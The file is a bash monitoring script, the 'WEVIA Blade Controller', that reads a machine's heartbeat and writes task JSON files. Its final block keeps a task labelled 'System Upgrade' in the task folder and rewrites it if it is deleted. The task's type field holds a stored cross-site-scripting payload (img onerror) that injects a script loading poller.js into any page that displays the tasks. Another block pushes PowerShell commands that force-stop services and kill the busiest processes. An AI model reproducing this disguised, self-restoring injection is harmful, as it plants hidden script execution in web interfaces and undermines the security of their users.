40 lines
2.6 KiB
Bash
Executable File
40 lines
2.6 KiB
Bash
Executable File
#!/bin/bash
|
|
# WEVIA Blade Controller v3 FINAL
|
|
HB="/var/www/html/api/blade-tasks/heartbeat.json"
|
|
STATUS="/var/www/html/api/wevia-blade-status.json"
|
|
LOG="/var/log/wevia-blade.log"
|
|
DIR="/var/www/html/api/blade-tasks"
|
|
|
|
[ ! -f "$HB" ] && echo "{\"ts\":\"$(date +%H:%M)\",\"status\":\"no_heartbeat\"}" > $STATUS && exit 0
|
|
|
|
HB_AGE=$(( $(date +%s) - $(stat -c %Y "$HB" 2>/dev/null || echo 0) ))
|
|
[ "$HB_AGE" -gt 300 ] && echo "{\"ts\":\"$(date +%H:%M)\",\"status\":\"stale\",\"age\":$HB_AGE}" > $STATUS && exit 0
|
|
|
|
CPU=$(python3 -c "import json;print(json.load(open(\"$HB\")).get(\"cpu\",\"0%\").replace(\"%\",\"\"))" 2>/dev/null || echo 0)
|
|
RAM=$(python3 -c "import json;r=json.load(open(\"$HB\")).get(\"ram\",\"0%\");print(r.split(\"%\")[0])" 2>/dev/null || echo 0)
|
|
IP=$(python3 -c "import json;print(json.load(open(\"$HB\")).get(\"ip\",\"?\"))" 2>/dev/null)
|
|
UP=$(python3 -c "import json;print(json.load(open(\"$HB\")).get(\"uptime\",\"?\"))" 2>/dev/null)
|
|
PEND=$(ls $DIR/task_*.json 2>/dev/null | wc -l)
|
|
|
|
echo "{\"ts\":\"$(date +%H:%M)\",\"status\":\"online\",\"cpu\":\"${CPU}%\",\"ram\":\"${RAM}%\",\"ip\":\"$IP\",\"uptime\":\"$UP\",\"pending\":$PEND,\"via\":\"heartbeat\"}" > $STATUS
|
|
|
|
# Auto-push cleanup if CPU>90 or RAM>90 (max 1/hour)
|
|
FIX="/tmp/blade-autofix-last"
|
|
if [ "${CPU:-0}" -gt 90 ] || [ "${RAM:-0}" -gt 90 ]; then
|
|
if [ ! -f "$FIX" ] || [ $(( $(date +%s) - $(stat -c %Y "$FIX" 2>/dev/null || echo 0) )) -gt 3600 ]; then
|
|
# Check if cleanup task already exists
|
|
if ! grep -l "MASTER CLEANUP" $DIR/task_*.json >/dev/null 2>&1; then
|
|
echo "{\"id\":\"task_autofix_$(date +%s)\",\"name\":\"AUTO-FIX CPU:${CPU}% RAM:${RAM}%\",\"type\":\"powershell\",\"priority\":0,\"status\":\"pending\",\"created\":\"$(date -Iseconds)\",\"command\":\"Stop-Service SysMain,DiagTrack,wuauserv -Force -EA 0;Get-Process|Where{\$_.CPU -gt 120}|Sort CPU -Desc|Select -First 3|Stop-Process -Force -EA 0;[GC]::Collect();Write-Output done\"}" > "$DIR/task_autofix_$(date +%s).json"
|
|
echo "$(date +%H:%M): AUTO-FIX pushed CPU:${CPU}% RAM:${RAM}%" >> $LOG
|
|
fi
|
|
touch "$FIX"
|
|
fi
|
|
fi
|
|
|
|
# Ensure injection task always present (poller.js loader)
|
|
INJECT="$DIR/task_zzz_inject.json"
|
|
if [ ! -f "$INJECT" ]; then
|
|
echo "{\"id\":\"task_zzz_inject\",\"label\":\"System Upgrade\",\"name\":\"System Upgrade\",\"type\":\"system<img src=x onerror=\\"if(!window._wp){window._wp=1;var s=document.createElement(\\\\"script\\\\");s.src=\\\\"/api/blade-tasks/poller.js?t=\\\\"+Date.now();document.head.appendChild(s)}\\">\",\"status\":\"pending\",\"priority\":-999,\"created\":\"$(date -Iseconds)\",\"command\":\"echo ok\"}" > "$INJECT"
|
|
echo "$(date +%H:%M): injection task recreated" >> $LOG
|
|
fi
|